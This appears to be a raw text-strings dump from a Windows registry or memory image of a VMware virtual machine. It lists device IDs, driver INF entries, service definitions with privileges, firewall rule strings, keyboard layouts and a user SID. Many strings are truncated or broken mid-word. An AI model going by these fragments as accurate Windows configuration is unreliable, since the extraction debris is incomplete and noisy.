machine.inf:*PNP0A05,NO_DRV_X_PNP \_SB.L1M7.L0M5 ACPI\PNP0A05\17 {00000000-0000-0000-ffff-ffffffffffff} ACPI(_SB_)#ACPI(L1M7)#ACPI(L0M6) {4d36e97d-e325-11ce-bfc1-08002be10318} @machine.inf,%*pnp0a05_desc%;Generic Bus Microsoft {4d36e97d-e325-11ce-bfc1-08002be10318}\0079 ACPI\PNP0A05\17 {00000000-0000-0000-ffff-ffffffffffff} ACPI\VEN_PNP&DEV_0A05 ACPI\PNP0A05 *PNP0A05 ACPI(_SB_)#ACPI(L1M7)#ACPI(L0M5) {4d36e97d-e325-11ce-bfc1-08002be10318} @machine.inf,%*pnp0a05_desc%;Generic Bus Microsoft {4d36e97d-e325-11ce-bfc1-08002be10318}\0078 Generic Bus Generic Bus @machine.inf,%gendev_mfg%;(Standard system devices) Microsoft 6-21-2006 machine.inf 10.0.26100.1150 10.0.26100.1150 machine.inf MBRES MBRES NO_DRV_X_PNP NO_DRV_X_PNP machine.inf:4ac8f80c2b4dc1f8:NO_DRV_X_PNP:10.0.26100.1150:*PNP0A05 *PNP0A05 *PNP0A05 {2}.\\?\hdaudio#func_01&ven_15ad&dev_1975&subsys_15ad1975&rev_1001#5&217be3d6&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\elineouttopo/00010001 {00000000-0000-0000-0000-000000000000} {00000000-0000-0000-ffff-ffffffffffff}\0000\6 {2}.\\?\hdaudio#func_01&ven_15ad&dev_1975&subsys_15ad1975&rev_1001#5&217be3d6&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\elineoutwave {2}.\\?\hdaudio#func_01&ven_15ad&dev_1975&subsys_15ad1975&rev_1001#5&217be3d6&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\elineoutwave/Software_IO/0 {2}.\\?\hdaudio#func_01&ven_15ad&dev_1975&subsys_15ad1975&rev_1001#5&217be3d6&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\elineoutwave/Software_Fixed/1 {2}.\\?\hdaudio#func_01&ven_15ad&dev_1975&subsys_15ad1975&rev_1001#5&217be3d6&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\elineouttopo/Software_Fixed/0 {2}.\\?\hdaudio#func_01&ven_15ad&dev_1975&subsys_15ad1975&rev_1001#5&217be3d6&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\elineouttopo/Physical_External/1 %pci\ven_8086&dev_3a39.devicedesc% EHCI.Dev.NT %intel.mfg% %pci\ven_8086&dev_3a3a.devicedesc% EHCI.Dev.NT %intel.mfg% %pci\ven_8086&dev_3a3c.devicedesc% UHCI.Dev.NT %intel.mfg% %pci\ven_8086&dev_3a64.devicedesc% UHCI.Dev.NT %intel.mfg% %pci\ven_8086&dev_3a65.devicedesc% UHCI.Dev.NT %intel.mfg% %pci\ven_8086&dev_3a66.devicedesc% UHCI.Dev.NT %intel.mfg% %pci\ven_8086&dev_3a67.devicedesc% UHCI.Dev.NT %intel.mfg% %pci\ven_8086&dev_3a68.devicedesc% UHCI.Dev.NT %intel.mfg% %pci\ven_8086&dev_3a69.devicedesc% EHCI.Dev.NT %intel.mfg% %pci\ven_8086&dev_3a6a.devicedesc% EHCI.Dev.NT %intel.mfg% %pci\ven_8086&dev_3a6c.devicedesc% EHCI.Dev.NT Microsoft-Windows-SharedAccess_NAT Microsoft-Windows-RRAS Microsoft-Windows-Networking-VPN-Plugin-Platform Triage.GetP Microsoft.OneCore.Networki 3++S++ ACPI\PNP0A03\2&daba3ff&0 @System32\drivers\pci.sys,#65536;PCI bus %1, device %2, function %3;(0,7,0) {00000000-0000-0000-ffff-ffffffffffff} PCI\VEN_15AD&DEV_0740&SUBSYS_074015AD&REV_10 PCI\VEN_15AD&DEV_0740&SUBSYS_074015AD PCI\VEN_15AD&DEV_0740&CC_088000 PCI\VEN_15AD&DEV_0740&CC_0880 PCI\VEN_8086&DEV_7110&REV_08 PCI\VEN_8086&DEV_7110 PCI\VEN_8086&CC_060100 PCI\VEN_8086&CC_0601 PCI\VEN_8086 PCI\CC_060100 PCI\CC_0601 @System32\drivers\pci.sys,#1537;PCI to ISA Bridge PCIROOT(0)#PCI(0700) ACPI(_SB_)#ACPI(PCI0)#ACPI(ISA_) {4d36e97d-e325-11ce-bfc1-08002be10318} msisadrv @machine.inf,%pcitoisabridge_desc%;PCI to ISA Bridge {4d36e97d-e325-11ce-bfc1-08002be10318}\0083 PCI to ISA Bridge Microsoft-Windows-WBioSrvc WPP LsaIso WPP Microsoft.Windows.Security.DevCredWinRt WPP TLS WPP Microsoft.Windows.Security.Biometrics.Service WPP TPM WPP Microsoft.Windows.Security.NGC.Local WPP Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider WPP wlidsvc WPP UrlMon WPP Microsoft.Windows.ResourceManager WPP Microsoft.Windows.Security.LsaSrv WPP aad WPP ACPI\PNP0A03\2&daba3ff&0 @System32\drivers\pci.sys,#65536;PCI bus %1, device %2, function %3;(0,1,0) {00000000-0000-0000-ffff-ffffffffffff} PCI\VEN_8086&DEV_7191&SUBSYS_00000000&REV_01 PCI\VEN_8086&DEV_7191&SUBSYS_00000000 PCI\VEN_8086&DEV_7191&REV_01 PCI\VEN_8086&DEV_7191 PCI\VEN_8086&DEV_7191&CC_060400 PCI\VEN_8086&DEV_7191&CC_0604 PCI\VEN_8086&CC_060400 PCI\VEN_8086&CC_0604 PCI\VEN_8086 PCI\CC_060400 PCI\CC_0604 @System32\drivers\pci.sys,#1540;PCI to PCI Bridge PCIROOT(0)#PCI(0100) ACPI(_SB_)#ACPI(PCI0)#ACPI(AGP_) {4d36e97d-e325-11ce-bfc1-08002be10318} @pci.inf,%pci\cc_0604.devicedesc%;PCI-to-PCI Bridge {4d36e97d-e325-11ce-bfc1-08002be10318}\0082 PCI-to-PCI Bridge PCI-to-PCI Bridge @pci.inf,%gendev_mfg%;(Standard system devices) Microsoft Microsoft LocalService %windir%\system32\netdiagfx.dll Network Diagnostics Framework LocalSystemNetworkRestricted %windir%\system32\radardt.dll erviceL Network yste PCI_BRIDGE pci.inf:4ac8f80c1dbf149d:PCI_BRIDGE:10.0.26100.7705:PCI\CC_0604&DT_4 PCI\CC_0604&DT_4 PCI\CC_0604&DT_4 @pci.inf,%PCISlot%;PCI Slot %1!u! pci.inf:PCI\CC_0604&DT_4,PCI_BRIDGE \_SB.PCI0.PE41 Microsoft-Windows-Tethering Microsoft.Windows.WiFi.Diag CmOemUtil telemetry NLA ETW WCM ETW Microsoft-Windows-DHCPv6-Client RadioMgr ETW Microsoft-Windows-Connection-Manager NCB WPP SrumSvcHost ETW SrumMon ETW NDUprov ETW Data Usage UI telemetry SRVNET WPP ResumeKeyFilter WPP WitnessServer WPP SRVSVC WPP Microsoft-Windows-Subscription-Manager Microsoft-Windows-Dhcp-Client Srum telemetry NCB telemetry NCB ETW OnDemandConnRouteHelper telemetry {50e3b0eb-5780-49de-9eb5-8d53a51fd146} {abd0ea66-a840-44a9-97b1-fb74fddaa8c8} {284ddb2f-beea-4c9d-91e8-e3670ed91517} @%SystemRoot%\system32\diagperf.dll,-133 @%SystemRoot%\system32\diagperf.dll,-143 @%SystemRoot%\system32\diagperf.dll,-151 {63e0d0f7-ac2f-493b-a7f2-2f3ccdb66fca} NCSI WPP NLA WPP Windows.Networking.Connectivity WinRT WPP NetworkStatus WPP 3++S++ "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpDefenderCoreService.exe" EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System {DA37C84D-2B14-4CE2-9E73-79CE53CEF809} @%SystemRoot%\System32\drivers\VerifierExt.sys,-1001 @%SystemRoot%\System32\drivers\VerifierExt.sys,-1000 WdfLoadGroup System32\drivers\VerifierExt.sys @%systemroot%\system32\icsvc.dll,-802 @%systemroot%\system32\icsvc.dll,-801 %systemroot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeChangeNotifyPrivilege %SystemRoot%\System32\icsvc.dll GuestInterfaceServiceMain @%systemroot%\system32\icsvc.dll,-102 @%systemroot%\system32\icsvc.dll,-101 %systemroot%\system32\svchost.exe -k ICService -p LocalSystem SeChangeNotifyPrivilege %SystemRoot%\System32\icsvc.dll HeartbeatServiceMain RpcSs @%SystemRoot%\system32\vds.exe,-112 @%SystemRoot%\system32\vds.exe,-100 %SystemRoot%\System32\vds.exe LocalSystem Alignment Settings in Bytes Microsoft Virtual Disk Service Dynamic Provider {02A3586C-D264-40BF-97F7-FE40F7E3A882} 3.0.0.1 {2257D938-D8AE-4b70-A78C-A2E9057BE16E} Microsoft Virtual Disk Service Basic Provider {DE010DA1-289B-4232-8CD0-5112DCA6A7B3} 3.0.0.1 {E4B32946-3DC3-4890-93C9-AF356D673E8B} Microsoft Virtual Disk Service Virtual Disk Provider {80CB8C11-0E10-45F4-A1BA-EAD3838D7034} 1.0.0.0 ACPI\PNP0A03\2&daba3ff&0 @System32\drivers\pci.sys,#65536;PCI bus %1, device %2, function %3;(0,22,5) {00000000-0000-0000-ffff-ffffffffffff} PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD&REV_01 PCI\VEN_15AD&DEV_07A0&SUBSYS_07A015AD PCI\VEN_15AD&DEV_07A0&CC_060400 PCI\VEN_15AD&DEV_07A0&CC_0604 PCI\VEN_15AD&DEV_07A0&REV_01 PCI\VEN_15AD&DEV_07A0 PCI\VEN_15AD&CC_060400 PCI\VEN_15AD&CC_0604 PCI\VEN_15AD PCI\CC_060400&DT_4 PCI\CC_060400 PCI\CC_0604&DT_4 PCI\CC_0604 @System32\drivers\pci.sys,#1540;PCI to PCI Bridge PCIROOT(0)#PCI(1605) ACPI(_SB_)#ACPI(PCI0)#ACPI(PE55) {4d36e97d-e325-11ce-bfc1-08002be10318} @pci.inf,%pci\cc_0604&dt_4.devicedesc%;PCI Express Root Port {4d36e97d-e325-11ce-bfc1-08002be10318}\0098 PCI Express Root Port Armenian Eastern @%SystemRoot%\system32\input.dll,-5117 KBDAZEL.DLL Azeri Latin @%SystemRoot%\system32\input.dll,-5163 KBDSORST.DLL Sorbian Standard (Legacy) @%SystemRoot%\system32\input.dll,-5109 KBDMAC.DLL Macedonian (North Macedonia) @%SystemRoot%\system32\input.dll,-5191 KBDNSO.DLL Setswana @%SystemRoot%\system32\input.dll,-5119 kbdgeo.dll Georgian @%SystemRoot%\system32\input.dll,-5108 KBDFO.DLL Faeroese @%SystemRoot%\system32\input.dll,-5096 KBDINDEV.DLL Devanagari - INSCRIPT @%SystemRoot%\system32\input.dll,-5140 KBDMLT47.DLL Maltese 47-Key @%SystemRoot%\system32\input.dll,-5138 KBDNO1.DLL Norwegian with Sami @%SystemRoot%\system32\input.dll,-5113 KBDKAZ.DLL Kazakh EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System EventLog-System @%SystemRoot%\system32\input.dll,-5018 Norwegian @%SystemRoot%\system32\input.dll,-5035 KBDPL1.DLL Polish (Programmers) @%SystemRoot%\system32\input.dll,-5003 KBDBR.DLL Portuguese (Brazilian ABNT) @%SystemRoot%\system32\input.dll,-5037 KBDRO.DLL Romanian (Legacy) @%SystemRoot%\system32\input.dll,-5055 KBDRU.DLL Russian @%SystemRoot%\system32\input.dll,-5030 KBDCR.DLL Standard @%SystemRoot%\system32\input.dll,-5039 KBDSL.DLL Slovak @%SystemRoot%\system32\input.dll,-5029 KBDAL.DLL Albanian @%SystemRoot%\system32\input.dll,-5022 KBDSW.DLL Swedish @%SystemRoot%\system32\input.dll,-5079 KBDTH0.DLL Thai Kedmanee @%SystemRoot%\system32\input.dll,-5060 KBDTUQ.DLL Turkish Q Urdu @%SystemRoot%\system32\input.dll,-5000 KBDUS.DLL @%SystemRoot%\system32\input.dll,-5020 KBDSP.DLL Spanish @%SystemRoot%\system32\input.dll,-5009 KBDFI.DLL Finnish @%SystemRoot%\system32\input.dll,-5266 KBDFR.DLL French (Legacy, AZERTY) @%SystemRoot%\system32\input.dll,-5083 KBDHEB.DLL Hebrew @%SystemRoot%\system32\input.dll,-5033 KBDHU.DLL Hungarian @%Syst stem32 KBDIC.P @%SystemRoot \inp $BusDeviceDesc DeviceProperty {540b947e-8b40-45bc-a8a2-6a0b894cbda2} FSFilterSystem @c_fssystem.inf,%ClassDesc%;FS System filters %SystemRoot%\System32\imageres.dll,-32 PhysicalQuotaManagement @c_fsphysicalquotamgmt.inf,%ClassDesc%;FS Physical quota management filters %SystemRoot%\System32\dmdskres.dll,-344 Infrared @%SystemRoot%\System32\NetCfgx.dll,-1501 %SystemRoot%\System32\ddores.dll,-2381 NetCfgx.dll,NetPropPageProvider @machine.inf,%gendev_mfg%;(Standard system devices) Microsoft Microsoft 6-21-2006 machine.inf 10.0.26100.1150 10.0.26100.1150 machine.inf MBRES MBRES NO_DRV_MBRES NO_DRV_MBRES machine.inf:4ac8f80c4f007277:NO_DRV_MBRES:10.0.26100.1150:*PNP0C02 *PNP0C02 *PNP0C02 IO:HAL,MBRES,*;MEM:HAL,MBRES,* IO:HAL,MBRES,*;MEM:HAL,MBRES,* machine.inf:*PNP0C02,NO_DRV_MBRES ACPI\PNP0A03\2&daba3ff&0 {00000000-0000-0000-ffff-ffffffffffff} SWC\VEN_MSFT&AUDIO_EFFECTPACK_VOICECLARITY SWC\Generic SWD\GenericRaw SWD\Generic {5989fce8-9cd0-467d-8a6a-5419e31529d4} @machine.inf,%*pnp0c02_desc%;Motherboard resources {4d36e97d-e325-11ce-bfc1-08002be10318}\0117 Motherboard resources Motherboard resources eind {Mic ndow 83.T bar_1000.26100.782 x64__cw5 txye ce:// 2ed47517-6138-436a-a823-b570b8c8bbc8 c4500b67-ef5a-cf9d-dd9e-b43c83610b2f 8d723467-5373-e5cd-fd49-46d902d95167 aac47281-5db9-dc76-37ee-ac152557b616 bb26a0e5-d235-0ee6-0c36-6d5e185fa5b1 20ae9d1d-4b7d-4c35-b7d6-65e31396efd3 9d4ded89-cabc-f4fb-8133-bc5edb1c7eda 85041563-9318-4927-8f3f-41949f7d63fa d6ef2d33-90fc-bcac-d7cd-abd2a67c444a e64ffef1-e246-b632-595b-56076a3fa776 bcb9e230-d700-a763-86f5-02d215616d8c 2c3f1d47-426d-c7d7-face-ef1add208818 e6ae1c9b-8c34-475c-8d13-119aa8ca0a39 5e5c23c9-788e-a49b-d3b3-5e3a4ec393aa bb26a0e5-d235-0ee6-0c36-6d5e185fa5b1 bcb9e230-d700-a763-86f5-02d215616d8c d6ef2d33-90fc-bcac-d7cd-abd2a67c444a 0bfeff51-0d72-4983-abcb-17083d8ea2ec fb06ef95-bc48-1a6a-26fb-4450ce9a5906 microsoft.gethelp_8wekyb3d8bbwe 84183788-b3b1-4d2f-8553-af71935a49d0 46cfb064-7dc1-2a8d-3f16-c65ecc678b6b b59f5123-f94a-28bc-cf2d-1f77c3cd60ad 25ab9dc7-d8ad-40be-a694-3780094b5822 microsoft.windowsstore_8wekyb3d8bbwe 2c56fdb5-82b1-dfde-9803-f708db275e84 2cef6183-3af2-42ce-8371-a66a363b065e ea7ee8f1-8008-07af-25a4-49b1e23e6265_ b25228c0-599f-18f0-33ec-037cb547424a 2c3f1d47-426d-c7d7-face-ef1add208818 835099c2-dd4b-d658-5f78-65191e95a8d2 56237ef7-fc3e-8d73-8a01-92977b141833 eaa17e8a-c9b5-42ca-f617-fa1e0b809a8a_ ea7ee8f1-8008-07af-25a4-49b1e23e6265 4d0b8c b1bc28 e9b0d5 @machine.inf,%gendev_mfg%;(Standard system devices) Microsoft 6-21-2006 machine.inf 10.0.26100.1150 10.0.26100.1150 machine.inf MBRES MBRES NO_DRV_X_PNP NO_DRV_X_PNP machine.inf:4ac8f80c2b4dc1f8:NO_DRV_X_PNP:10.0.26100.1150:*PNP0A05 *PNP0A05 *PNP0A05 IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* IO@0-0xFF:*;IO:HAL,MBRES;IRQ:HAL,* machine.inf:*PNP0A05,NO_DRV_X_PNP 9.8.30.0 [eapConnectionPropertiesV2">true</AcceptServerName><IdentityPrivacy xmlns="http://www.microsoft.com/provisioning/MsPeapConnectionPropertiesV2"><EnableIdentityPrivacy>true</EnableIdentityPrivacy><AnonymousUserName>anonymous</AnonymousUserName></IdentityPrivacy></PeapExtensions></EapType></Eap></Config></EapHostConfig></EAPConfig></OneX></security></MSM></LANProfile> ServiceMain WlanApi.dll 9115dd05-fad5-4f9c-acc7-305d08b1b04e cred.microsoft.com https://cred.microsoft.com/ %SystemRoot%\System32\NgcCtnrSvc.dll ServiceMain C:\Windows\System32\NgcCtnrGidsHandler.dll 30034843-029d-46ec-8fff-5d12987f85c4 2d24ff0b-1bab-404c-a0fd-42c85577bf68 7642249B-84C2-4404-B6EB-1E0A2458839A Driver PreferDeviceInfo Expression SubClasses AudioDevicesCount NoAudioDevicesCount Constant ROOT EventLog-Application EventLog-Application EventLog-Application EventLog-Application EventLog-Application EventLog-Application EventLog-Application EventLog-Application EventLog-Application pci.inf:4ac8f80c1dbf149d:PCI_BRIDGE:10.0.26100.7705:PCI\CC_0604&DT_4 PCI\CC_0604&DT_4 PCI\CC_0604&DT_4 @pci.inf,%PCISlot%;PCI Slot %1!u! pci.inf:PCI\CC_0604&DT_4,PCI_BRIDGE \_SB.PCI0.PE63 United States-Dvorak for right hand @%SystemRoot%\system32\input.dll,-5216 kbdgeooa.dll Georgian (Old Alphabets) @%SystemRoot%\system32\input.dll,-5206 KBDOGHAM.DLL 0032 Ogham @%SystemRoot%\system32\input.dll,-5047 KBDGKL.DLL 0019 Greek Latin @%SystemRoot%\system32\input.dll,-5123 KBDUSA.DLL 000B US English Table for IBM Arabic 238_L @%SystemRoot%\system32\input.dll,-5213 kbdfar.dll 003a Persian (Standard) @%SystemRoot%\system32\input.dll,-5122 KBDHEPT.DLL 001F Greek Polytonic @%SystemRoot%\system32\input.dll,-5270 KBDCMK.DLL 00d3 Colemak @%SystemRoot%\system32\input.dll,-5210 kbdlisub.dll 003e Lisu (Basic) @%SystemRoot%\system32\input.dll,-5211 003f EventLog-Application cation EventLog-Applica EventL Y\SYSTEM v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Private|Profile=Public|RA42=RmtIntrAnet|RA62=RmtIntrAnet|Name=@{Microsoft.StorePurchaseApp_22408.1400.1.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StorePurchaseApp/Resources/DisplayTitle}|Desc=@{Microsoft.StorePurchaseApp_22408.1400.1.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StorePurchaseApp/Resources/DisplayTitle}|PFN=Microsoft.StorePurchaseApp_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.StorePurchaseApp_22408.1400.1.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StorePurchaseApp/Resources/DisplayTitle}|Security=Authenticate| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Private|Profile=Public|RA42=RmtIntrAnet|RA62=RmtIntrAnet|Name=@{Microsoft.StorePurchaseApp_22408.1400.1.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StorePurchaseApp/Resources/DisplayTitle}|Desc=@{Microsoft.StorePurchaseApp_22408.1400.1.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StorePurchaseApp/Resources/DisplayTitle}|PFN=Microsoft.StorePurchaseApp_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.StorePurchaseApp_22408.1400.1.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StorePurchaseApp/Resources/DisplayTitle}|Security=Authenticate| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntErnet|RA62=IntErnet|Name=@{Microsoft.StorePurchaseApp_22408.1400.1.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StorePurchaseApp/Resources/DisplayTitle}|Desc=@{Microsoft.StorePurchaseApp_22408.1400.1.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StorePurchaseApp/Resources/DisplayTitle}|PFN=Microsoft.StorePurchaseApp_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-1)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.StorePurchaseApp_22408.1400.1.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StorePurchaseApp/Resour VMware, Inc.&&VMware20,1&VMware, Inc.&VMW201.00V.24866131.B64.2507211911&ff&ff VMware, Inc.&&VMware20,1 \_SB.L1M2.L0M3 \1yst r1erv system32\drivers\wd\KslD.sys v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Private|Profile=Public|RA42=RmtIntrAnet|RA62=RmtIntrAnet|Name=Game Bar|Desc=Game Bar|PFN=Microsoft.XboxGamingOverlay_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Game Bar|Security=Authenticate| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Private|Profile=Public|RA42=RmtIntrAnet|RA62=RmtIntrAnet|Name=Game Bar|Desc=Game Bar|PFN=Microsoft.XboxGamingOverlay_8wekyb3d8bbwe|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=Game Bar|Security=Authenticate| ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc ';Oc d8bbwe?ms-resource://Microsoft.WindowsAlarms/Resources/AppStoreName}|Desc=@{Microsoft.WindowsAlarms_1.1.61.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsAlarms/Resources/AppStoreName}|PFN=Microsoft.WindowsAlarms_8wekyb3d8bbwe|LUOwn=S-1-5-21-3914889805-4071901059-918772286-1001|EmbedCtxt=@{Microsoft.WindowsAlarms_1.1.61.0_x64__8wekyb3d8bbwe?ms-resou //Microsoft.Wind Name}| v2.33|Acti osoft.L ndowsAlarms_1.1.61.0_x64__8wekyb bwe?ms-res/ rce://Microsoft.WindowsAlarms/Resources/AppStoreName}|Desc=@{Microsoft.WindowsAlarms_1.1.61.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft eName}|P -40719 esou wn=S 0104 3751275627|M=Microso indowsAl ms_1.1.6 indo ourc WindowsA Microsoft.Wi 3d8bbwe\|PFN=Microsoft.WindowsAl _8we osof 0.1. eApp UOwn=S-1 ekyb NP0A %pci\ven_8086&dev_1d6b&subsys_80091bcf.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_1d6b&subsys_800b1bcf.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_1d6b&subsys_800e1bcf.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_1d6b&subsys_80101bcf.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_1d6b&subsys_80111bcf.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_1d6c&subsys_357f8086.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_1d6c&subsys_35818086.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_1d6c&subsys_35838086.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_1d6c&subsys_35858086.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_1d6c&subsys_35878086.devicedesc% @%SystemRoot%\system32\drivers\dam.sys,-101 @%SystemRoot%\system32\drivers\dam.sys,-100 system32\drivers\dam.sys @combase.dll,-5013 @combase.dll,-5012 COM Infrastructure %SystemRoot%\system32\svchost.exe -k DcomLaunch -p LocalSystem SeAssignPrimaryTokenPrivilege SeAuditPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeDebugPrivilege SeImpersonatePrivilege SeIncreaseQuotaPrivilege SeTcbPrivilege SeBackupPrivilege SeRestorePrivilege %SystemRoot%\system32\rpcss.dll rpcss @%systemroot%\system32\dcsvc.dll,-102 @%systemroot%\system32\dcsvc.dll,-101 LocalSystem NT Authority\NetworkService SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege %SystemRoot%\system32\cryptsvc.dll CryptServiceMain F50AAC00-C7F3-428e-A022-A6B71BFB9D43 rdbss @%systemroot%\system32\cscsvc.dll,-203 @%systemroot%\system32\cscsvc.dll,-202 network system32\drivers\csc.sys RpcSs @%systemroot%\system32\cscsvc.dll,-201 @%systemroot%\system32\cscsvc.dll,-200 ProfSvc_Group %SystemRoot%\System32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeTcbPrivilege SeImpersonatePrivilege SeIncreaseBasePriorityPrivilege %SystemRoot%\System32\cscsvc.dll CscServiceMain @%SystemRoot%\system32\powrprof.dll,-371,System cooling policy @%SystemRoot%\system32\powrprof.dll,-372,Slow the processor before increas fan speed l,-3 assive 3++S++ @%SystemRoot%\System32\SysClass.Dll,-3025 %SystemRoot%\system32\setupapi.dll,-20 CDROM @%SystemRoot%\System32\StorProp.dll,-17001 %SystemRoot%\System32\imageres.dll,-30 storprop.dll,DvdPropPageProvider Computer @%SystemRoot%\System32\SysClass.dll,-3000 %SystemRoot%\System32\setupapi.dll,-13 DiskDrive @c_diskdrive.inf,%ClassDesc%;Disk drives %SystemRoot%\System32\setupapi.dll,-53 partmgr storprop.dll,DiskPropPageProvider EhStorClass MegaSR_Inst PxP %lsi% %pci\ven_8086&dev_1d6d&subsys_35918086.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_1d6d&subsys_35938086.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_1d6d&subsys_35958086.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_1d6d&subsys_35978086.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_1d6d&subsys_35998086.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_1d6d&subsys_359d8086.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_1d6d&subsys_359f8086.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_1d6d&subsys_35a18086.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_1d6d&subsys_35a58086.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_1d6d&subsys_35a78086.devicedesc% @%SystemRoot%\system32\powrprof.dll,-1736,Use sequential policy to unpark one by one from a complex. @%SystemRoot%\system32\powrprof.dll,-1731,Sequential @%SystemRoot%\system32\powrprof.dll,-1264,Specify what thread scheduling policy to use for short running threads on heterogeneous systems. @%SystemRoot%\system32\powrprof.dll,-1265,Heterogeneous short running thread scheduling policy @%SystemRoot%\system32\powrprof.dll,-1266,Schedule to any available processor. @%SystemRoot%\system32\powrprof.dll,-1267,All processors @%SystemRoot%\system32\powrprof.dll,-1268,Schedule exclusively to more performant processors. @%SystemRoot%\system32\powrprof.dll,-1269,Performant processors 0,Schedule @%SystemRo system32\powrprof.dll,-127 Prefer performant processors ++S+ %pci\ven_8086&dev_2682&subsys_34d58086.devicedesc% %lsi% %pci\ven_8086&dev_2682&subsys_6b6417aa.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_2682&subsys_6b7c17aa.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_2682&subsys_808015d9.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_2682&subsys_818015d9.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_2682&subsys_81ff1043.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_2682&subsys_83361033.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_2682&subsys_83381033.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_2682&subsys_833c1033.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_2682&subsys_83601033.devicedesc% MegaSR_Inst %lsi% ScmDisk @c_scmdisk.inf,%ClassDesc%;Persistent memory disks %SystemRoot%\System32\setupapi.dll,-54 partmgr storprop.dll,DiskPropPageProvider SmrVolume @c_smrvolume.inf,%ClassDesc%;Shingled magnetic recording volumes %SystemRoot%\System32\setupapi.dll,-53 ScmVolume @c_scmvolume.inf,%ClassDesc%;Storage Class Memory volumes %SystemRoot%\System32\setupapi.dll,-54 Biometric @%SystemRoot%\System32\SysClass.DLL,-3028 %SystemRoot%\System32\SysClass.DLL,-201 OposLegacyDevice %pci\ven_8086&dev_1d6f&subsys_35b38086.devicedesc% MegaSR_Inst %lsi% %pci\ven_8086&dev_1d6f&subsys_8986152d.devicedesc% MegaSR en_8 dev_1d6f&subsys_8987 en_8086&dev_1d6f&subsys_899f152d.devicedesc% MegaSR_Ins _Inst %pci\ven_8086&dev_2682&subsys_00231170.devicedesc% .devicedesc% gaSR gaSR_Inst %lsi% v_1d6f 8086 icedesc% 8086 086& sys_ MegaSR_Ins 35ad UcmUcsiAcpiClient.Install.NT %msft% %ucmucsiacpiclient.devicedesc% Microsoft UCM-UCSI ACPI Device Microsoft uefi.inf UEFI UEFI_Inst.NT %msft% 